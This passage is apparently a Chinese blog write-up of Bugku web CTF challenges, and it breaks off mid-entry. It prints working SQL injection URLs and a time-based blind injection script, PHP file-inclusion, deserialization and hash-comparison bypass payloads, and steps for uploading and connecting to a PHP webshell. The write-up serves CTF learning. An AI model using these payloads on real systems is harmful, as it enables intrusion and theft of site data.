0x01 web2

打开源flag就直接出来了

0x02 文件上传测试

打开题目,要上传php文件且大小要在1M以内,随便上传了一个php文件,提示非图片文件

抓包,改一下文件类型然后提交,就得到了flag

0x03 计算器

打开题目,直接输入结果发现被限制了长度,直接F12修改一下限制的长度,输入结果就能的到flag

0x04 web基础$_GET

直接GET一个what=flag,就得到了flag

http://120.24.86.145:8002/get/?what=flag

0x05 web基础$_POST

直接POST一个what=flag就得到了flag

ps:用bp或者火狐的hackbar就可以post参数,这里我用的时hackbar**

0x06 矛盾

要GET一个变量$num,要让它既不能是数字又得让它==1;==是弱比较,所以可以用科学记数法来绕过,让num=1e0.1

构造payload http://120.24.86.145:8002/get/index1.php?num=1*e*0.1

得到flag

0x07 web3

打开题目一直弹窗,直接把js禁用了

打开源,发现一段html中的一些编码

创建一个html文件复制进去解析一下就得到了flag

0x08 sql注入

1.判断注入类型

http://103.238.227.13:10083/?id=1'

http://103.238.227.13:10083/?id=0+1

什么都没有说明是字符型注入

打开页面源代码gbk,由此想到宽字节注入

http://103.238.227.13:10083/?id=1%df%27

果然是宽字节注入

2.爆出字段数

http://103.238.227.13:10083/?id=1%df%27%20order%20by%201%23

字段数为2

3.爆数据库名:

http://103.238.227.13:10083/?id=1%df%27union%20select%20database(),2%23

4.然后直接查key表的string列

http://103.238.227.13:10083/?id=1%df%27union%20select%20*%20from%20sql5.key%20where%20id=1%23

得到flag加上KEY{}格式即可

0x09 域名解析

通过Hosts文件将 flag.bugku.com 解析到120.24.86.145

ps:Hosts文件在 C:\Windows\System32\drivers\etc

在访问 http://flag.bugku.com/ 就能的到flag

0x10 sql注入1

看代码把一些注入的关键字都给过滤了

再看底下的xss过滤用了strip_tags()函数它能够把字符中的html、xml、php标签
去除;

这样就有了绕过的方法在那些关键字中加上html标签

  1. 猜解字段数

http://103.238.227.13:10087/?id=1 o<p>rder by 1

字段数为2的是时候正常显示,3的时候什么都不显示说明出错了,所以字段数为2

  1. 查可显字段

http://103.238.227.13:10087/?id=-1%20un%3C%3Eion%20sel%3C%3Eect%201,2

  1. 查询数据库名

http://103.238.227.13:10087/?id=-1%20uni<p>on%20sel<p>ect%20database(),2

  1. 然后再查询key表里id=1的hash字段
    1
    http://103.238.227.13:10087/?id=1%20uni%3Cp%3Eon%20sel%3Cp%3Eect%20*%20fr%3Cp%3Eom%20sql3.key%20wh%3Cp%3Eere%20id=1

得到flag

0x11 你必须让他停下

是一个不的网页,结合题目(你必须让他停下)flag可能就藏在这几个不断刷新的页面里,用bp截包,不断截包然后发送,最终就会获取到flag的那个页面

0x12 变量1

代码审计

在结合提示“flag在变量里”想到了php中一个特殊变量$GLOBALS,它包含了所有此代码和其包含文件中所有的全局变量;

构造payload:http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

0x13 web5

题目提示 JSFUCK代码 查看页面源代码,就可以找到由一堆[] () 组成的JSFUCK代码 将其复制到浏览器的控制台运行一下得到flag

0x14 头等舱

直接抓包 然后发送,flag就藏在返回来的头信息里

0x15 web4

打开题目 提示我们看源代码,发现了一段源码有两个变量p1、p2

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));最后一行代码应该是要将p1 p2 还有 %35%34%61%61%32 解码后连一起执行,urll解码 连接 排版一下得到

1
2
3
4
5
6
7
8
9
10
11
12
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

应该是如果输入的内容为67d709b2b54aa2aa648cf6e87a7114f1的话就返回!0即true

所以直接输入67d709b2b54aa2aa648cf6e87a7114f1然后提交就能的到flag

0x16 flag在index里

打开网页:

点击之后url变成了:

http://120.24.86.145:8005/post/index.php?file=show.php

看到?file=show.php在结合题目 flag在index里 很容易想到文件包含

试试

http://120.24.86.145:8005/post/index.php?file=file_get_contents(index.php)

在试了其他的文件读取函数发现什么都没输出,说明可能有过滤条件得绕过过滤
通过php伪协议利用PHP://filter/read=convert.base64-encode/resource=xxx将文件的base64加密后读取出来,达到绕过过滤的目的

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到一段base64加密后的数据:

1
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

解密后得到flag:

0x17 请输入密码查看flag

打开题目,结合url,直接用bp就能爆破出来

像这样简单的五位数密码,bp可以自己生成字典,具体设置如下:

然后start attack就直接爆出来了

密码是13579,输入密码flag就直接出来了

0x18 点击一百万次

题目提示js,打开源码,发现只要clicks>=1000000就能得到flag

直接F12打开控制台输入Clicks=100000000(大于一百万)回车就能的到flag

0x19 备份是个好习惯

打开题目,尝试用MD5解密后,并没有说明发现

结合题目备份是个好习惯,所以肯定有备份文件存在,用御剑扫描后台看看有没备份文件存在

果然的到了一个备份文件 index.php.bak 打开备份文件

代码审计

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

这几段代码实现了一个近似于GET传参的效果

其中$str = str_replace('key','',$str);实现了过滤url中关键字key,

if(md5($key1) == md5($key2) && $key1 !== $key2)

如果传进去的两个字符串key1和key2的MD5加密后相同,但是key1!==key2

这里我想到了两种方法

  1. 通过数组绕过MD5加密后的比较

这个的原理是:Md5 和 sha1 对一个数组进行加密将返回 NULL;而 NULL===NULL 返回 true,所以可绕过判断。

构造payload http://120.24.86.145:8002/web16/index.php?kkeyey1[1]=2&kekeyy2[1]=1

  1. 通过两个特殊的字符串QNKCDZO和240610708 这两个字符串的MD5加密是不同的但是在比较时会被认为时相同的

    具体可以看这里:

    http://www.freebuf.com/articles/web/129607.html

构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

两个方法最终都可以得到flag

0x20 成绩单

很简单的sql注入

1.查看注入类型
输入1’时发现出错什么都不显示

输入1’’时发现正常显示,说明查询语句里是有’’存在的,可以用#来绕过’’

2.查询字段数
1’ order by 4 #时不报错1' order by 5 # 时报错说明字段数为 4

  1. 查询数据库名和其版本信息

    -1' union select 1,2,database(),version() #

数据库名为skctf_flag,版本为5.5

mysql5.0以上的版本有一个数据库information_schema,这是一个包含了mysql数据库所有信
息的“字典”。可以通过查询这个数据库里的信息的到别的数库库中的表名和列名。

4.查询数据库skctf_flag下的表名

-1' union select 1,2,3, table_name from information_schema.tables where table_schema='skctf_flag'#

爆出了一个fl4g表

  1. 查询表 fl4g下的列名
    1
    -1' union select 1,2,3, column_name from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'# `

爆出一个skctf_flag列

6.查询fl4g表下的skctf_flag列的内容

-1' union select 1,2,3,skctf_flag from fl4g #

搞定 得到flag

0x21 秋名山老司机

打开题目,要求我们计算一长串的式子,写个并且要求在2s内计算出答案,直接写个py脚本

1
2
3
4
5
6
7
8
9
import requests
s=requests.Session()
r=s.get('http://120.24.86.145:8002/qiumingshan/')
r.encoding='utf-8'
math=r.text[99:-71]
re=eval(math)
pay={'value':re}
ret =s.post("http://120.24.86.145:8002/qiumingshan/", data=pay)
print(ret.text)

得到flag

0x22 速度要快

打开题目没有任何发现,只在在源代码里发现

<!--OK ,now you have to post the margin what you find -->

抓包,然后发包,在头信息中发现了一个base64加密字符串flag

解密后还是一段base64加密的字符串在解密得到一串数字,但是发现每次访问后得到的数字都不一样

结合题目和在源代码里发现得提示,应该是要写一个脚本将解密后得数字以post得方式提交

这里我用php写了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<meta charset="utf-8">
<?php
$data=file_get_contents($url);
$data=get_headers($url);
print_r($data);
echo "$data[9]";
$flag=$data[9];
$cookie=explode(":", $data[5])[1];
$flag=substr($flag,5);
$flag=base64_decode($flag);
$flag=base64_decode($flag);
$reg='|(\d+)|';
preg_match_all($reg,$flag,$flag);
//不知道为什么解密后得到得数字有乱码,所以这个正则是为了把数字提取出来
print_r($flag);
$flag=$flag[1][0];
echo "$flag";
$f= array('margin'=>$flag );
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,'http://120.24.86.145:8002/web6/');
curl_setopt($curl,CURLOPT_HEADER,1);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_COOKIE,$cookie);
//记得提交得时候一定得加上cookie不然不行
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$f);
$data=curl_exec($curl);
print_r($data);
curl_close($curl);;
?>

最后得到flag

0x23 cookies欺骗

打开题目 一长串字符,各种解码发现都不对,注意到URL上有两个参数line和filename

a2V5cy50eHQ= base64解码后为key.txt

这两个参数的作用应该是讲以filename为名的文件的第line行输出

所以我们将index.php中的源码 遍历出来,这是我用php写的脚本(记得要将index.php base64加密)

1
2
3
4
5
6
7
8
9
<?php
$url = "view-source:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=";
$i=1;
while($source=file_get_contents("http://120.24.86.145:8002/web11/index.php?line=".$i."&filename=aW5kZXgucGhw"))
{
echo $source."<br>";
$i++;
}
?>

得到index.php 的源码

代码审计要满足三个条件才能得到flag

1
2
3
1.$_COOLIE['margin']存在<br>
2.$_COOKIE['margin']=='margin'<br>
3.filename=a2V5cy5waHA= ps:keys.php的base64加密

抓包设置一个cookie margin=margin 然后将filename这个参数改为a2V5cy5waHA=

发包得到flag

0x26 welcome to bugkuctf

打开题目,在源码中发现了一段代码

you are not the number of bugku !

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

发现需要绕过两个要求$user存在且以$user为名的文件中的内容为welcome to the bugkuctf

可以用php伪协议php://input 绕过

payload:http://120.24.86.145:8006/test1/?txt=php://input

POST数据:welcome to the bugkuctf

但是hint.php被解析了并没有任何提示,我们通过php伪协议php://filter查看一下hint.php的源码

payload:http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

POST数据:welcome to the bugkuctf


base64解密后得到hint.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>



flag应该就在这个flag.php中,我们直接用同样的方法获得flag.php的文件发现并不行。

这个类中有一个魔术方法tostring,这个的作用是当这个对象被直接输出的时候就会调用这个函数
我们在用同样的方法查看index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

发现flag被直接过滤了所以我们不能再用伪协议的方法得到flag.php中的内容

但是代码里有一个函数unserialize(),它的作用是将已序列化的变量反序列化,将其转换回 PHP 的值。

所以我们可以通过这个函数和Flag类中的魔术方法tostring来绕过过滤,从而查看flag.php中的内容

在本地实例化了Flag类并且将其中的flie等于flag.php,并且序列化

本地代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$flag = new Flag;
$flag->file = 'flag.php';
echo serialize($flag);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload:http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST数据:welcome to the bugkuctf

最终得到flag

0x27 字符?正则?

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

代码意思是GET一个匹配这个正则"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i 字符串就能的到flag

网上大佬给出的对这个字符的解读,照着写出匹配的字符串就好

表达式直接写出来的字符串直接利用,如key

1
2
3
4
5
6
7
8
9
10
“.”代表任意字符
“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以’^’开头,以’$’结束
“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
[a-z]代表a-z中的任意一个字符
[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
/i代表大小写不敏感
{4-7}代表[0-9]中数字连续出现的次数是4-7次
\s匹配任意的空白符
\d 匹配数字
\b 匹配单词的开始或结束

payload:http://120.24.86.145:8002/web10/?id=keykkeykkkkkkey:/k/kkeyk,
得到flag

0x29 前女友(skctf)

点开之后有一段文字,发现其中有一个超链接,发现是源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

得绕过三个if

1
2
3
1. v1、v2、v3存在  
2. v1!=v2 但是v1与v2 MD5加密后得相同
3. !strcmp(v3,$flag)=1

第二个可以通过这些字符串绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

这些字符串MD5加密后以0e开头php会将其当成科学计数法,0乘以10得任何倍数还是等于零

第三个 当$str1与$str2得类型不同时strcmp($str1,$str2)=0,可以通过传入一个与$flag类型不同得参数绕过

构造payload http://118.89.219.210:49162/?v1=240610708&v2=QNKCDZO&v3[]=1 得到flag

0x30 login1

题目给出提示 sql约束攻击 这里直接看这篇文章上面写的很清楚

http://goodwaf.com/2016/12/30/基于约束条件的SQL攻击/

然后直接利用这个基于约束条件的sql攻击漏洞

随便注册一个用户,登陆后提示不是管理员,想要利用这个漏洞得知道用户名,我们在注册一个用户名为admin的账户,提示我们已存在,所以这个admin应该就是管理员的用户名

注册一个用户名为 admin(中间多个空格)123、密码随便的用户

接着直接用admin 加你的密码登陆,然后就得到了flag

0x31 你从哪里来

抓包将请求头User-Agent修改成Google的请求头发现并没有上面用

但是注意到消息头里有一个平时比较少见的Referer:

Referer是HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含Referer比如我在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:

Referer=http://www.google.com

结合题目将 消息头中的Referer 改成谷歌的首页就能得到flag

0x32 md5 collision(NUPT_CTF)

打开题目 please input a 结合题目md5碰撞,想到了这些字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

GET一个a等于oe开头的字符串直接得到flag
ps:说实话这种题目真的很迷,我也是看了别人得wp才知道要这样做。

0x33 网站被黑

打开题目,被挂了黑页应该是被挂马了

扫描后台发现http://120.24.86.145:8002/webshell/shell.php一个大马的登陆界面

爆破一下,爆出来密码为 hack (好草率) 登陆得到flag

0x34 程序猿本地网站

打开题目,要求我们从本地访问(IP欺骗) 抓包在头信息中加入

Client-ip:127.0.0.1 或者 X-Forwarded-For:127.0.0.1

然后发送就能得到flag

0x35各种绕过

打开题目 代码审计

需要满足三个条件

1.$_GET[‘id’]解密后等于’margin’

2.$_GET[uname]!=$_POST[‘passwd’]&&sha1($_GET[uname])===sha1($_POST[‘passwd’])

1可以GET一个将’margin’url加密两次的字符串(因为在url上会自动加密一次,所以需要加密两次

2有两种方法绕过

(1) 利用数组绕过

MD5和sha1对一个数组进行加密将返回NULL,而NULL===NULL会返回true

(2)利用sha1碰撞(具体可以看这篇文章)

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

这两个字符串不相同但他们的哈希加密后得到的字符串却相同

payload1:

1
http://120.24.86.145:8002/web7/?id=margin&uname=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1`

POST的数据:

1
passwd=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

payload2:http://120.24.86.145:8002/web7/?id=margin&uname[]=1

POST的数据:passwd[]=2

0x36 web8

打开题目,代码审计得满足一个条件

GET变量$ac与$fn
$ac要等于文件名为$fn中的内容

要怎么绕过这个呢,你可能用它本地的文件,首先你不知道有那些文件,其次你不知道文件中有那些内容。

可以用php中的一种伪协议php://input绕过

简单介绍一下这个伪协议:php://output是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区

我自己的理解就是,这是一个存储在缓冲区的文件文件名为php://input 文件中的数据就是你GET和POST这些输入输出的数据流中的内容

利用这个伪协议就可以构造出一个文件,内容是可控的且文件名你知道

payload:http://120.24.86.145:8002/web8/?ac=111&fn=php://input

POST数据:111

最后得到flag

0x37 细心

打开题目 提示我们不存在此文件或则目录,不存在?那就扫一下后台
扫到一个robots.txt
打开看看,发现有一个Disallow这个参数使用来告诉爬虫不能爬取得页面

我们访问一下这个resusl.php

得到这样一个页面,告诉我们不是管理员,然后得GET一个密码过去。

爆破一下,得到密码为admin

GET一个x=admin 得到flag

0x38 求getshell

文件上传题,多次实验发现有

1.Content-Type 类型检测

2.文件后缀检测(只允许图片后缀)

3.如果上传图片后缀的文件,会将文件改名。

4.如果上传非图片后缀的文件会提示,you got it:) 但是并没有给出回显

尝试上传 .htaccess 文件发现也会被改名

上传一个php的一句话木马,将文件后缀改为.php5(php2, php3, php4, php5, phps, pht, phtm, phtml …),并且Content-Type改为image/jpeg 还是不行Invalid file

这样的话感觉过滤的已经很很严格了,但是既然是题目肯定是有漏洞的

看了wp发现需要将头信息中的Conten-Type大小写更改一下,并且后缀改为php别名.php5(php2, php3, php4, php5, phps, pht, phtm, phtml …)Content-Type改为image/jpeg 缺一不可

至于为什么要更改头信息中的Conten-Type大小写,我觉得应该是有得waf是通过这个来触发得但是如果更改了这个大小写就可以不触发这个waf

最终得到flag

0x39 INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
error_reporting(0);    
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

这个代码会将我们的ip存入数据库,但是再insert into这存在注入,但是并没有回显所以只能用 延时注入

写个py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import string
string=string.ascii_letters+string.digits+string.punctuation
print(string)
url="http://120.24.86.145:8002/web15/"
flag=""
for i in range(0,50):
for s in string:
data="111'+(select case when (substring((select flag from flag ) from {0} for 1)='{1}') then sleep(10) else 1 end) and '1'='1".format(i,s)
headers={"X-Forwarded-For":data}
try:
re=requests.get(url,headers=headers,timeout=9)
except requests.exceptions.ReadTimeout:
flag+=s
print(flag)
break

print("flag:"+flag)

select flag from flag 脚本中的这个就是查询语句

查询数据库名:select databse(),表名与列明类似把查询语句改了就行

最后得到flag

0x40 这是一个神奇的登陆框

一个POST的注入

直接修改POST参数进行注入

多次尝试这个验证用户名和密码的语句应该是这样的:

if(mysql_query(select * from table_name where username=”$username” and password=”$password”))

return 1

else

return 0

大概就是这样,只需要将双引号闭合就行

  1. 查询字段数

    payload:admin_name=1" order by 3 #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

    字段数为2时不报错,为3时报错



    最后得到字段数为2

  2. 查看可显字段

    payload:admin_name=1" union select 1,2 #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

3.查询数据库名

payload:admin_name=1" union select database(),2 #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

数据库名为bugkusql1

  1. 查询表名

    payload:admin_name=1" union select table_name,2 from information_schema.tables where table_schema="bugkusql1" #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

表名为flag1

5.查询列名

payload:admin_name=1" union select column_name,2 from information_schema.columns where table_schema="bugkusql1" and table_name="flag1" #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

列名为flag1

6.最后查询flag1表下的flag1列

payload:admin_name=1" union select flag1,2 from flag1 #&admin_passwd=pwd' or '1'='1&submit=GO+GO+GO

得到flag

0x41 多次

打开题目,在URl上发现了一个参数id,所以应该是一个注入点

多次尝试,发现可以过滤了select union or and 但是只过滤了一次,所以我们可以用双写绕过。

最后查询的payload:http://120.24.86.145:9004/1ndex.php?id=-1%27%20ununionion%20selselectect%201,flag1%20from%20flag1%20%23

得到了一个flag,但是这题有两个flag,我们在查询列的时候发现了一个address列,里面有下一关的地址

又是一个注入,但是已经不能再用双写来绕过了,我看了网上的wp,需要用
https://blog.csdn.net/zpy1998zpy/article/details/80631036

最终payload http://120.24.86.145:9004/Once_More.php?id=1%27%20and%20extractvalue(%27xxx%27,concat(%27~%27,(select%20flag2%20from%20flag2)))%23

得到了第二个flag

但是在查询列的时候再一次发现了一个address列,查询出来发现还有下一关

打开 http://120.24.86.145:9004/Have_Fun.php发现是一个空白页,打开源码,发现了提示

抓包然后加个XFF

得到一个二维码

扫描得到提示

明显是一个文件包含,但是在ErWeiMa.php利用伪协议包含了admin.php发现并不行,我们再回到Have_Fun.php

利用伪协议构造payload:http://120.24.86.145:9004/Have_Fun.php?game=php://filter/read=convert.base64-encode/resource=admin.php也不行。

然后再尝试抓包构造XFF将ip改为192.168.0.100发现就行了

解码后得到flag

0x42 PHP_encrypt_1(ISCCCTF)

直接附上解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$str=base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
echo $str;
$key = md5('ISCC');
$x = 0;
$len = strlen($str);
$klen = strlen($key);
$char='';
for ($i=0; $i < $len; $i++)
{
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
echo $char;
$flag='';
for($i=0;$i<$len;$i++)
{
if (abs(ord($str[$i])-ord($char[$i])+128)>128)
{
$flag .= chr(ord($str[$i])-ord($char[$i]));
}else{
$flag .= chr(ord($str[$i])-ord($char[$i])+128);
}
}
echo $flag;

0x43 文件包含2

打开题目,在URL上发现一个file参数,在源码中发现了一个提示upload.php

打开upload.php发现是一个文件上传的页面,再结合题目文件包含,想到了解题思路

1.上传一个图片格式的一句话木马,
2.再文件包含这个文件

但是上传的图片马中的<?php ?>被替换成了_

可以通过<script language=php></script>标签来绕过

上传成功

菜刀连接,在/var/www/html/this_is_th3_F14g_154f65sd4g35f4d6f43.txt中发现flag

0x44 flag.php

打开题目,是一个登陆框,在源码中
发现表单是提交给”#”所以为无论怎么点都没有反应

提示是hint,一开始以为是没有提示所以蛮打了一个hint,后来看了wp才发现是要GET一个名为hint的参数过去

代码审计,要让COOKIE的序列化等于变量$key的值,但是有一个问题,这个key在比较的时候还未被定义,所以$Key=null

null的序列化为s:0:"";

修改cookie为ISecer=s:0:"";

得到flag

0x45 SQL注入2

尝试注入,发现都被过滤了,看了大佬的wp发现原来这题是.DS_Srore文件泄露

利用DS_Store文件泄露利用py脚本发现了一个flag文件

打开文件就得到了flag

0x46 孙xx的博客

打开题目是一个wordpress的博客,题目的提示是:需要用到渗透测试第一步信息收集。

发现一篇名为flag文章,找到一个flag,但是不是真的flag。

这篇文章的作者是SUN,查看这个用户的信息,发现了一个1998.03.21,应该是这个作者的生日什么的

我们尝用这个生日和用户名登陆

